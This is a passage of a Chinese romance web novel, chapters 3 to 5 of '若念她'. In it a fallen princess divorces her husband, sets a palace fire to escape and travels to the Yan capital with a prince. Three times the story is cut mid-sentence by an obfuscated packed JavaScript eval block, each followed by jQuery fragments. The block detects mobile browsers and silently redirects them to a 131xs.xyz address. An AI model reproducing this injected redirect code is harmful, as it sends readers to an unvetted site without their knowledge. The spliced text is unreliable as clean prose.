《若念她》 3. 休恋逝水 虞昭将佩剑还给燕芜,她轻声道:“多谢大人。” 燕芜定定看着面前的女郎,她其实算不得姿容艳绝,但方才那一舞,竟让他自她眸中窥见一丝破茧般坚韧的美,夺目灿然。 “你唤何名?”他开口。 “虞昭。” “大渊的和安公主?” “是。” “你可知我是何人?” “燕国三王子。” 这般直接,不似寻常女郎般忸怩。 他本为一赌嘉宁公主的姿容而来,却不想被和安公主吸引了目光。 他弯唇,眼含笑意,摇开手中折扇,“不知和安公主是否赏脸,与在下一同离席?” - 良月朦胧。 二人行至玉和台上,虞昭终是坦言:“燕王子,有件事先前我隐瞒于你。父皇他沉疴难愈,渊国恐将大乱,此番宫宴上我寻你的目的,便是希望你能带我一同离开。” “若是我不愿呢?” “那我便再想办法,总能寻得一线生机。”她不卑不亢,坚定自若地说道。 一阵夜风拂过,她的发髻略微有些歪了,两鬓些许发丝垂落下来,被风吹得凌乱。 此刻,许是月色迷人眼,许是宫宴饮酒后的醉意方才发作,他竟想要保全她一条生路。 燕芜将她落在脸颊上的发丝别到耳后,道:“公主不必再想了,我带你走。” …… 虞昭沐浴半晌,才将满身脂粉味洗去。 她熄灭油灯,躺上床榻歇息。 夜里难得无梦,虞昭睡得正沉,忽觉身上一阵阵冷热交织,她骤然惊醒。 熟悉的怀抱,带着夜露的寒意,将她紧紧拥住,他滚烫的呼吸落在虞昭耳畔。 这半月,江春言几乎从未在府中出现过,倏尔被他抱住,虞昭才惊觉他们已许久未见。 原来她竟真的可以做到不在意他。 虞昭很快反应过来,欲挣脱他的怀抱,江春言却将她抱得更紧了些。 “别动。”他声音低沉,带着醉酒后的粗粝喑哑。 她哑然,不再挣扎,就这般沉默着。 “虞昭。”他唤她。 “虞昭,”他又呢喃一遍,不再用敬语相称,“今晚的宫宴上,我看到你了……很好看,是我从未见过的样子,可我却觉得你在离我越来越远,为什么呢?” 话说到最后,竟带了一丝弱不可察的哭腔。 他将脸埋入虞昭的颈窝,不叫她看,薄唇翕动,灼热的酒气随之呼出,落在她肌肤上,激起一阵酥麻的痒意。 她心想,他真是醉得厉害,忘了他们夫妻一场,却形同陌路般疏离,从未走近过彼此。 “江春言,我累了。”她闭上眼睛,念出那几个字。 “我们和离吧。” 她不想恨他,也不想爱他,她但求解脱。 恍惚间脖颈处一片冰凉,虞昭下意识以为自己落了泪,好一会儿才反应过来,原来是江春言哭了。 - 虞昭醒来时,江春言已经走了,若不是屋内残留的几缕酒气证明他曾来过,她只会把昨夜发生的事情当作是一场幻梦。 桌案上不知何时多了一盘百花糕,和一盏精巧的兔子灯。 灯柄上刻了行小字:春祺夏安,秋绥冬宁。 杏月问道:“殿下,今日这百花糕,您要留下吗?” “留着吧,”虞昭抚过那盏花灯,垂目道:“今日便不喂狗了。” 这几日,虞昭找出泛黄的纸契,吩咐杏月召集府里的仆役,交还他们的卖身契。 他们中有不少人并非自愿签下契约,从未想过有朝一日竟有机会能够赎身,仆役们纷纷喜极而泣,在公主府前磕了响头,拿着纸契离开。 “杏月,你也离开罢,这是南街一家铺坊的地契,”虞昭将地契和银袋递给杏月,认真道:“大渊国库亏空,公主府已无甚财力,便只能予你这些了。” 杏月闷声呜咽,死死攥着衣角,泪水在素衫布料上晕成团,她哭着道:“公主,杏月无父无母,自幼便跟着您和婉妃,如今只剩下您了……倘若您还认我,天涯海角,您去哪,我便去哪。” 侍女忠诚至此,虞昭轻叹,再不忍心赶她走。只她这般决绝,往后便不能过寻常百姓的生活了,注定与自己亡命漂泊。 虞昭拿出檀木盒中的蛇骨鞭,想起自己少时便与这根骨鞭作伴,那时候她与母妃经常受人欺负,她便用骨鞭来保护自己,敢走恶人。 后来母妃用自己的命换虞昭重获父爱,她成为了和安公主,她不再需要小心翼翼看人眼色,却逐渐迷失了自我。 虞昭将蛇骨鞭丢进火盆里,火舌很快将它吞没。 她因有想保护的人而执鞭,也因心中再无执念而与它告别。 它不该被她用来伤害无辜的人。 从前她是高高在上的和安公主,往后便不再是了。 她也需要担忧朝不保夕的生活,她明白了这世上大多人的苦。 - 寒意褪去,渐入深春,恰逢一场杏花雨。 初下雨时,虞昭正从宫里往回走,如今她已不再由马车接送,眼见雨势愈来愈大,便躲在宫墙檐下。 如织雨幕中,杏花枝随风乱颤,不消多时花瓣纷纷零落,没入深深浅浅的水洼之中,隔着氤氲雾气,漫地残花似浮白之间一点绛红。 她望着,忽见一双墨绣云纹靴越过石阶,定于她身前,而后一柄油绢伞倾盖于头顶,虞昭抬头,清朗深邃的凤眸撞入她双瞳。 江春言注视她良久,方才启唇:“殿下在此处等谁?” “总归不是在等你。”她撇过头去,淡淡道。 “那着实不巧,臣欲来接您回府。” 他醒了酒,泾渭复又分明。那晚的泪早已干涸,消散无痕,亦流不进彼此的心田。 “走吧。”她说。 江春言握着伞骨的指节微顿,目中似有错愕划过,他轻声道:“好。” 他们并排步入雨中,一路无言,行至公主府邸廊下。他收起绢伞,身上大半衣裳湿透,雨珠顺着袖摆边缘往下淌,晕湿青石砖瓦。 虞昭蓦然想起一年多前的新年,正月里,茫茫雪夜,她自游灯会归来,下马车时,便见江春言独自伫立在公主府门口。彼时府邸内外张灯结彩,他的身形落在灯火重影之中,无端透出几分孤寂落寞。 从公主府门口走到殿内,还有好一段路。 还未等她走过去,他便撑着伞踱步而来,他身姿绰约,眉眼温和,将伞倾向她,“雪下这么大,殿下怎么不打伞?” 原来雪不知不觉中下大了。 她眨了眨眼,“本宫何需自己打伞?” 虞昭自有侍女替她打伞,她转头唤杏月,却发现自家侍女早已跑没了影。 “走吧,殿下,臣接您回去。”他狭长的眼眸微弯,嘴角泛起笑意。 “等等,”虞昭伸出手,先前在马车上时她捂着热壶,现下手心还留有余温,她握住江春言苍白清瘦的指尖,皱眉道:“驸马还说我?你的手这么冰,也不多添两件衣裳。” 她在他面前素来不爱端架子,多数时候也不以“本宫”自称,不像他,一口一个殿下和臣。但是她愿意给他足够多的时日,慢慢接受他们之间的夫妻关系,慢慢心悦于她。 虞昭指尖划过江春言的掌腹,摸到些许粗糙的薄茧,她细细摩挲一番,纤指穿过他的指缝,十指相扣,将他的手牢牢握紧。 江春言倏然僵硬了一瞬,而后渐渐放松下来,回握她。 凛冽寒风过境,鹅毛雪坠下来,半道变了方向,斜斜落在他们身上。 这伞怕是白打了。 霜雪落在他肩头,凝成银白色的晶莹,发稍也染上不少白。 虞昭心想:他们这般,如何不算是同淋一场白头雪呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667390|172983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 如若不是后来发生的那些事情,如若没有嘉宁公主,他们是否也会就此相伴终生? 心里明明早已有答案。 那一日梦中,那一盅鸩酒,就算不是他,她亦躲不过。 他那般才情,得到新帝的赏识并不奇怪,若没有文祯十二年事变,若不是尚公主,他早该入庙堂,做贤臣。 而她是他的污点,他亲手将她剜去。 虞昭只是惘然,他不爱她。亦或者他的喜欢本就凉薄,她可以,嘉宁也可以。 “江春言,和离书在桌案上的锦盒里,你若愿与本宫和离,便签了,若是你不愿——” 虞昭看着他,最后一次凝望他的面容,她道:“本宫便休夫。” 两年前,她执意让他尚公主。 今日,她便亲手斩断这孽缘。 - 之后数日,虞昭夜里宿在宫中。 冥冥之间已有预感。 因而在父皇走的那晚,她平静地替他合上双眼。 殿外传来太监凄厉的声音:“圣上,驾崩了。” …… 坤颐宫,祠堂内。 渊帝的棺椁置于前方,堂内跪着众多妃嫔、皇氏近亲,虞昭余光扫过,发现嘉宁也在此处。 嘉宁一身素衣,弱柳般纤瘦,静静跪于蒲团上,她的脸色微微泛白,神情却依旧从容宁和,一根木簪随意地将披肩的散发半拢。 虞昭不禁想,梦中嘉宁随燕芜离开后,许是安定无虞,可如今呢?她是否会入那阴冷的诏狱牢底? 这个念头初起,虞昭便将它扼杀,嘉宁如何,与自己何干?纵是她虞昭夺走了嘉宁逃脱的机缘,那又如何? 过去一年,是嘉宁先打破了自己平静的生活,她明知江春言是自己的驸马,仍要与他牵连不清。更何况,嘉宁公主入诏狱,兴许江春言会舍不得呢,继而郎情妾意,在狱中上演一出深情的戏码。 虞昭收回目光。 不消多时,坤颐宫已被来军包围,宫门外,有人疾声道:“半柱香的时间,里面所有人都给我出来!不从者格杀勿论!” 肃杀之气混杂着血腥味飘进来,坤颐宫内人心惶惶,哭声弥漫。 坤颐宫外,玄麟军数千人有余,乌泱泱一片黑衣玄甲。 为首者面覆银具,玉冠束发,氅衣之上覆着一层漆黑鸦羽。 他着一身玄衣劲袍,腰间别着白玉令牌。 “大人,一炷香已燃尽,仍不见和安公主和嘉宁公主出来,是否……” 他身形微顿。 银面之下,似有复杂的情绪在眼底翻涌,他凝视着不远处的宫门,薄唇轻启道:“不急,再等片刻。” “若是出了差池,大人担得起吗?七殿下先前可是交代了,不容有误。” “是么?”他手中执着那枚白玉令牌,声音冷厉,“玄麟军令牌在此,胆敢不听令者,就地斩杀。” 无人敢再反驳,周遭陷入沉寂。 倏尔,眼前陷入一片赤红火光,熊熊烈火自坤颐宫燃起,浓烟四散。 “来人啊!坤颐宫走火了!” 他似有一瞬息愣神,下一秒步履趔趄,踉跄闯入满天火海。 “殿下!” “虞昭!”他眸中赤色弥漫,声声怆然,“你在哪里……你出来好不好?!” 他一遍遍喊,一遍遍找,并未寻到想见之人。 帝王的棺椁静置在祠堂里,被宫人抬了出去。 偌大的宫殿,此刻已被烟雾笼罩,火势愈发猛烈,他四顾,什么也瞧不见。 烟呛入肺腑,他目中晕眩,胸口疼得厉害,猛地呕出一口鲜血,人竟有些茫然。 房檐晃动,一根木梁径直坠下来。 “大人!”有人喊道。 清瘦的身影跌落在地,银色面具滑落下来,露出一张昳丽却惨白的脸。 赫然是江春言。 4. 月明千里 坤颐宫火势渐盛,宫中来来往往数百人取水灭火,效果却甚微。 虞昭收回视线。 她准备了数日,托人制了两枚火折子,揣在袖中入宫。而燕芜的人替她买通了今日守宫的总管,睁一只眼闭一只眼将她放了进去。 这才叫她有机会“失手”打翻油灯,点燃火折子,制造这场大火借以出逃。 燕芜亲自来接应虞昭,许是为了便于行动,他今日未着锦衣华裾,一袭束腰简装,薄带束发,衬得其人愈发俊雅,身姿落拓。 此刻他挨在她身侧,她正欲道谢,但见一黑影出现在身旁,他埋首向燕芜禀报:“三王子殿下,事情都办妥了。” “可有人看见了?”燕芜摇了摇折扇。 “数十名玄甲卫,殿下放心,他们已被我们的人处理干净。”影卫沉声道。 “下去吧。” 燕芜合扇的瞬息,影卫便消失在原地,三王子靴底一旋,踏上马车,他转身朝虞昭伸出手。 于是她纤指搭上他的袖沿,倾身上车。 燕三王子收回手,轻挑眉道:“那日和安公主夺我佩剑时,可不似今日这般讲究分寸。” “当日我尚是一国公主,而今渊国已亡,民女自是不敢轻易僭越殿下。” 虞昭话毕,垂下眼睑,“您唤我虞昭便好。” 她也不知这番话道出来,是否会煞了风景,然当时情急,她只将满身希望寄托在他身上,未曾多想旁的事情。 她纤长的眼睫微颤,凝脂般白皙的脸颊上泛起淡淡的樱粉,明明不是乍看惊艳的容颜,却无端姝色,清丽动人,耳畔一只翠珠碧色耳铛随马车颠簸轻晃,直晃得人失神。 燕芜抬手轻抚那只耳铛,许久才出声:“虞姑娘的耳坠怎么少了一只?” 虞昭莹白的右耳垂上空荡荡。 她开口:“走得匆忙,另一只耳铛落在坤颐宫里了。” “丢便丢了,此番随我回燕国,若碰见心仪的,再买一副罢。”他不甚在意道。 虞昭应了一声,抬眸间,透过层层帷幔向窗外望去,玉楼金殿、峻宇雕墙已离自己很远了,风声呼啸而过,昔日偌大的皇城逐渐倒退,隐于黄昏后,化作斑驳的朱砂一角。 未曾与人道别离,亦无人可道别离。 - 马车行至王都城门口时,被一众官兵拦下。 “大胆,尔等可知马车内坐的是谁?”燕芜的亲信扶晔,坐在马车轿外,厉声道。 燕国的马车制式独特,圆形轿顶上刻有镂空的环带纹路,守城官兵认了出来,仍道:“渊国的两位公主私逃,七殿下亲自下了旨意,封城缉拿和安、嘉宁公主。今日别说是燕国使团,就是燕王子要出这城门,也要例行搜查。” 扶晔还欲说些什么,正要开口,车轿内燕芜的声音清晰传出来:“不巧,本王子便在这里,你们若是要搜查,便来吧。” 燕国王子?从未听说燕国王子随使团入渊国之事。 领头的官兵一把掀开帷幔,但见着简装的冷俊公子静坐在马车内,怀里搂着一女子,看不清面容。 官兵正要凑近看那女子的形容,蓦地被打断。 “本王子竟不知,你们有胆量窥探孤的女人。” 定睛一看,那公子手中握着一枚只燕国王室才有的尊贵金箔鱼龙佩。 他不怒自威,眼神锐利如刀锋,凌厉逼人。 自称“孤”的燕王子,难道是燕国太子? 守城官兵面面相觑,一时不知怎么办才好,实则他们原是渊国旧部的将士,向七殿下投诚后,才被遣来城门任职。 两边都不好得罪,然七殿下方才血洗王都,还未正式登基……只怕抓捕先帝公主一事,殿下自己都分身乏术。 明哲保身要紧。 于是官兵纷纷退开,领头之人行礼道:“先前不知您的身份,多有得罪。”他说完回头,高喊:“燕太子殿下在此,还不快开城门放行!” 直到出了城门,燕芜才收起那副故作冷峻的姿态,他长舒一口气,颇有些唏嘘道:“幸好那些守城的人比较好糊弄,若是让他们知道燕卫青根本不在此处,定不会轻易放过我们。” “燕卫青?”好耳熟的名字。 “他便是燕国如今的太子,也是我一母同胞的皇兄。”燕芜见她久久未言,淡淡道:“怎么,后悔当时在宫宴上选择我了?你希望带你走的人是燕卫青?” 虞昭哭笑不得,她才几息未说话,他如何有的这种想法? 她无奈开口,声音有些闷,“燕芜殿下,我并未这么想,只是你一直拢我在怀中,我快要呼吸不过来了,方才没有说话。” 他这才将手松开,笑道:“我倒是忘了这茬。” 虞昭脱离他的怀抱,发现自己的发髻经历火场和燕芜怀抱的揉搓,已然散乱开,于是干脆将梳在发里的发包取下,让如瀑般的青丝披落下来。 那只碧玉耳铛她一道拆了下来,放入随身行囊。 - 马车一路悠悠赶往燕国,倒也平稳,然轿中坐久了终归有些让人头晕,途径渭河畔的一处水乡时,燕芜喊停马车。 他道:“便在此地歇一夜吧,明日继续赶水路。” 扶晔连忙拾好行囊先行下马,到附近的客栈要了仅剩的两间客房。 只是两间客房,该怎么分配? 这着实令扶晔苦恼,按常理来说他肯定和自家殿下住一间,另一间留给和安公主才是,但瞧见殿下对她的态度…… 他只怕坏了殿下将近的好事啊。 事实上,这种事情根本轮不到他一个随侍瞎操心,殿下自有他自己的考量。 君子色而不淫。燕芜向来不爱强迫女子,情之一事,讲求自愿,他看了眼虞昭道:“虞姑娘,我与扶晔同睡,你一人住剩下那间空房可好?” 这样自然甚好。 她点了点头,“多谢殿下,劳您一路照拂。” 他颔首,似是有些不舒服,不再言语,兴致缺缺上了楼。 - 夜渐深,更阑人静。 虞昭沐浴完,正欲关窗,但见边上那间屋子里透出几分明暗烛光。 此次随燕三王子一道去燕国,前路如何,她不知,只是她如今已行至悬崖之上,而燕芜则是她攀着的那方峭壁,倘若她不抓紧,只怕仍会被缉拿她的追兵抓回去,关入诏狱牢底。 这一次,等着她的恐怕便不只是一盅鸩酒了。 她心跳得厉害,指尖轻颤,一种难以把控的失重感裹挟全身。 她必须做些什么。 蓦地想起白日里燕芜泛白的面色,虞昭心下一顿,自行囊中取出一方纸包。褐色纸包状似药囊,打开后,里面放着几枚青梅果。 青梅果入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667391|172983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口即化,酸甜醒神,能够解晕车之症,掺酒水喝亦可。 半晌后,虞昭敲响隔壁客房的竹门,扶晔打开门瞧去,讶然道:“和安公主,您怎么来了?” 说完扶晔才意识到自己说错了话,渊国现已易主,和安公主虽摆脱牢狱之灾,随自家殿下一道去燕国,但到底今非昔比,殿下也尚未表态,她当下的处境和身份都十分尴尬。 他连忙收回发散的思绪,唤了一声:“虞姑娘。” 面前女郎素衫轻纱,乌发垂至腰际,衬得她肤色愈发莹白若雪,施施然静立在竹门前,好似将欲飘然乘风去的扶摇仙子。 她温声道:“白日里,我看到殿下似乎有些许晕症,想起自己临行前备了好些泡酒水的青梅果子,便拿了过来,或可解殿下一二乏累。” 三王子有晕车之症是真,但并不严重,一般人还真看不出来。 扶晔这么想着,顿觉虞昭对殿下真是用情至深。 她从前也是万般受宠的公主,理不应会察言观色,而今她却将殿下的一举一动都看在眼里,记在心里,分明就是爱惨了他家殿下! 虞昭进屋后,便见燕芜斜倚在床榻上,他卸去了外袍,只穿了一件对襟里衫,此刻正阖目假寐。 他面容不似白日里苍白,两弯凌而浓的眉却皱着,唇色稍显寡淡。 世人皆道唇色寡淡者,最是薄于情爱,她却觉得并不然。 虞昭无端想起记忆中的人,那人眉目隽雅,唇却殷红,亦最是无情。 “虞姑娘。” 她的思绪被打断,只见燕芜此刻从床榻直起身,正遥遥看着她,调侃道:“你来寻我,便准备一直这般干站着?” “我来给殿下送些青梅酒。” 他挑眉,“我尚且晕着呢,你倒好,还叫我饮酒,岂不是要我醉上加醉?” 她将玉壶中的酒液倒入杯盏,而后纤指轻握杯壁,将果酒递给燕芜,“这青梅酒解晕,殿下不妨喝一口试试,酒是甜的,不会叫您醉了去。” “当真?” “真的。” 他接过她手中的酒盏,有那么一瞬,他的视线凝于她纤纤如玉的指尖,目光沉了沉,复又挪开。 燕芜启唇,酒液落入喉间,青果的酸意袭来,泛起阵阵清甜的余味。 他眨了眨眼睛,又抿了一口,“你骗我,这酒分明是酸的。” 怎么会是酸的?虞昭重新倒了一杯,小口浅酌。 明明是甜的。 扶晔站在不远处,他咳了下,道:“虞姑娘有所不知,殿下他惧酸,只要是带了点儿酸味的东西,他都能尝出来。” “既这般怕酸,殿下怎还贪杯?”虞昭瞥了眼燕芜贴着杯缘的薄唇,扬声道。 “这是你赠我的第一杯酒,我又怎能浪费呢?”他叹了口气,道:“便是再喝不惯,也是要喝完的,谁叫我如此喜爱你?” 喜爱她?他们不过相识一月有余,匆匆见了几面,纵是有好感,也万万不可能到心悦的地步。 她望着他,无言。 燕芜亦看了她好一会儿。 虞昭鼻尖处有一枚淡褐色的美人痣,初见时不觉有多美,再看却惊艳。 她的眼眸很漂亮,似阳春的雪,媚而纯,又似西子湖月,亮盈盈,能叫人不由自主地跌进去。 他不惧酸,只是莫名喜欢看她微窘的样子。 5.朱门旧事 长夜将尽。 扶桑初升,晨雾缭绕间,天色仍有些灰蒙。 一只乌篷船浮于湖面。 虞昭提起裙裳,踏上船沿,不想船身一阵剧烈晃动,燕芜适时扶住她。 走水路不比乘马车,一路随浪波沉浮,晃得更厉害,但能省去不少时间,也是从渭河一带到燕国凉川的必经之渠。 虞昭拾出两枚蜜饯,盛于绢帕中。燕芜忍着头晕恶心,轻扫一眼,不自觉想起昨夜里那圆润酸甜的青梅果。 他皱眉,有气无力道:“我不吃了,你吃吧。” 虞昭:“……”她本就是自己嘴馋,这才拿蜜饯出来解解瘾。 她朝燕芜看去,他似乎比昨日还要难受,面色白里泛青,好似下一秒就要卧倒不起。 不是说晕症不严重吗? 她朝扶晔掷去一眼。 扶晔挪开视线,又是一咳,道:“殿下的晕症是不严重,但那是平日里乘马车的时候。” 扶晔见燕芜闭着目,一副昏沉不醒的样子,于是压低声音开口:“殿下这还是头一回坐船,竟不知会难受成这样,虞姑娘,说起来这还都是因为你。” “因为我?” “渊国那边派来寻你的人只多不少,殿下不确定佯装成太子殿下之事会不会走漏风声,他恐路上出了什么岔子,不能护你周全,因而选择走水路回凉川,这样便可以甩开那些人。” 虞昭愣然。 所以,他是为了她? 她看向半倚在船桅旁的燕芜,少年郎君冷锐的眸静静合着,望不见惯常的风流、倜傥,他紧咬着苍白唇瓣,无端透出几分脆弱,叫人生怜。 “燕芜殿下。”她走近他身侧,手中执着那方含蜜饯果脯的绢帕,轻唤他。 轻柔的芙蓉香传来,他睁开眼帘,但见她手中那枚蜜饯,反胃的更厉害了。 他深吸一口气道:“虞昭,我不……” 倏尔被打断。 她将那枚蜜饯趁机塞入他唇间,面上笑意盈盈。 “殿下已半日未曾进食,这怎么能行?我喂您的是蜜饯,很甜,一点不酸。” 好一会儿过去。 “想吐。”他舌尖抵着蜜饯,清泠泠丢下两个字。 “哦,那您便吐在湖里吧,我会当什么也没瞧见的。”她淡定开口。 …… 小船随潋滟水波起伏,一路晃悠至燕国湖境,上岸时天色渐暮,街边逐渐亮起各色灯笼,人影憧憧。 虞昭随燕芜来到他的府邸,在门口看到了杏月。 算算时日,她和自家侍女已有多日未见,这段日子她接连面对亲人故去,旧国不复的悲痛,有那么几瞬,虞昭甚至觉得自己也不再鲜活。 但杏月仍然伴她左右,不曾背弃。 眼眶泛起些许热意。 杏月原本忍着没哭,见虞昭落泪,晃了神,便也红了眼眶,她抽噎道:“公主。” 和安公主的封号早已随故国而去,不复存在,也不该存在。 “以后便唤我小姐吧。”虞昭整理好情绪,温声道。 - 燕芜将虞昭接到自己的府邸后,让虞昭先在偏殿歇下,而后唤来一众婢女服侍更衣。 他似有要紧事,换完衣裳便又出去了。 “小姐,”杏月一边替虞昭沐浴更衣,一边感叹:“燕三王子对您可真好呀,他不仅亲自接您回来,就连我都顺带照拂打点,妥帖又细致,不像以前……” 杏月说着,止住了声音。 一时寂然。 虞昭心下平静,她道:“过去之事,日后便不再提了,杏月,我们都不要回头看。” “好,小姐,我们都不回头看。” 杏月挑了一支紫绡芙蓉簪,别入虞昭发间,继而替她抹了海棠朱砂色口脂。 如今的公主已与从前大不相同,她目光柔和,晕着零星的笑意,沉静而美好,再不似往昔那般眼底无光,阴郁愁苦。 她的公主殿下,本就该被人护在怀里,捧在心上,倘若那人做不到,便是他配不上公主,便是他不值得。 - 燕芜回府时,虞昭正携杏月往外走。 面容清丽的女郎褪去渊国女子喜爱的素色装束,换上了明媚的紫绡色襦裙,及腰乌发松松挽起,发间簪了朵芙蓉花。 他看了半晌,才开口:“虞姑娘这是要去哪?” “方才和殿下府上的丫鬟交谈一二,她们说今晚凉川要举行一年一度的圣火会,大家都去看了,我和杏月也准备去凑个热闹。” “圣火会确是每年入夏才举行一次,你若想看,我陪你去。” 虞昭默了默,倒不是她不愿与燕三王子一道同去,只是他白日里才晕了船,到凉州后又在外奔波,现下他方回来,眼底瞧着有些红,眉宇泛着淡淡的倦意。 事实上,燕芜的确疲惫困乏,白日晕船的后劲一直未消散,加上方回到府邸便被唤去……可当他终于结束假情假意的周旋后,回府见到她的那一眼,他忽然就不累了。 许是虚情假意惯了,他也需要汲些真心实意的感情。 他莞尔,“凉川城哪里好玩,哪里好看,没人比我更熟悉了,虞姑娘随我走便是。” …… 凉川是燕国的王城,风土人情却与渊国截然不同。渊国人尚文,喜着素雅,而燕人则尚武,钟爱各种艳丽的服饰。 街巷熙熙攘攘,灯彩洋溢,无数女郎丽衫华裙,自盏盏红烛之下同游,少年郎则身着锦衣玉袍,对樽酒,吟艳诗。 他们一路沿街走着。 走到某一处地方时,忽而人如潮涌,街两旁排起逶迤的长队。 “前面便是圣火祭坛,是凉川百姓祈福的地方。”燕芜道。 虞昭慨叹:“这倒有些特别,过去在渊国只流行花朝节、上元节这些诸国都有的节日,虽说人们也会逢节祈福,但大多都没什么新意。” “其实燕国亦是如此,祈福只是人们用来寄托情感的方式而已。” 他开口,声音有些低沉:“五年前燕国尚是一方小国,凉川作为诸国必争之地,临近海域,是重要的军地要塞。那三年,几乎每一日都是战火硝烟,凉川百姓民不聊生……好在战局最终扭转了,燕国逐渐强盛,战事平定的那日,我父王将王城迁至凉川,以告慰将士们在天的英灵。自此之后,每年的今日,凉川便举行圣火会,以求来年风调雨顺,民泰国安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673066|172983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 眼前的凉川繁华兴盛,很难让人联想到五年前它满目疮痍、尸骸遍野的模样。 虞昭忆起五年前自己刚受荣宠,每日最重要之事便是享乐,把过去那些积怨的委屈都发泄出来,她未经历过战乱流离,以为她幼年遭受的谩骂、凌辱便是这世间不公的全部了。 此刻她仍未看到、未经历那些灾厄,却蓦然觉得,朱门酒肉臭,路有冻死骨这句诗,兴许是真的。 她沉默半晌,继而问身边的郎君:“殿下呢?当年战乱时,您过得还好么?” 他一愣,似乎没想到她会继续问当年之事,良久后,他道:“当年我与母族迁至琅平一带暂避暂难,生活倒也过得寻常。” 不知为何,有些话燕芜本不该说出来,此时此刻面对虞昭,他却很轻易地脱口而出,好似这般向她倾诉,他心里便能好受一些。 “只是我王兄,就是燕卫青,他为了护我周全,领命随父王出征,当时最后一战大捷,他却九死一生从骨头堆里爬出来,瞎了一只眼睛,父王封他为暝夜侯后,他搬出了王城,从此性情大变。” “……” 难怪她先前听到燕卫青的名字会觉得这般耳熟,原来他便是暝夜侯,她隐约记得自己曾在宫里听几位学士谈起过,燕国有一暝夜侯,战无败绩,阴鸷狠戾。 她忘了他们口中暝夜侯的名字,现在恍然想起来,原来他便是燕卫青。 只是他既然早已封侯加爵,又怎会成为燕太子? 这到底是燕王室一族的辛秘,她一介外人不该问,也不该知晓。 虞昭回过神,发现他们跟随着人流,就快要走到圣火祭坛。 “你们燕国王子来祭坛祈福,也需要排队么?”她问。 燕芜原本尚沉浸在回忆里,她这一问,倒让他不禁失笑道:“祭礼的规矩,是父王亲自定下的,即便是王室也不能免除。” 如此,方才谈论的内容便算是轻轻揭过了。 - 虞昭将手中的祈福纸笺挂在凤凰树枝头,燕芜掌心捧着一方铜烛台,他将那页纸笺点燃,幽蓝色的烛火裹住泛黄的纸面,明暗间,煞是好看。 这便是圣火,看似灼眼,却烧不穿薄薄的纸页。 有风拂过,吹落漫天红花,无数祈福纸笺在枝头轻晃,伴随着点点幽蓝,绚烂夺目。 “虞昭。” 燕芜指尖抚落掉在她发丝上的花瓣,平生第一次这般温柔道:“过两日,你随我一道入宫吧。” …… 回府后已是深夜。 燕芜眼里浸满柔情,他低喃:“陪我再待一会儿吧,你晚些再回去。” 晚些再回去,便要天亮了。 此刻他们倚在榻上,虞昭被他揽在怀里,他的呼吸有些急促,带着灼热的温度,落在她的脸颊。 她试着挣了挣,没挣开。 燕芜的寝殿珠帘玉幕,倒似女郎会喜欢的布置,檀木香悠悠飘来,他的气息逐渐平稳。 虞昭闭上眼,心叹,便这样吧。 他兴许是真的喜爱她,而她虽不爱他,却似无依浮萍,飘零已久,想寻得一处安稳。 这一夜,她纵容自己沉溺在他的怀抱中。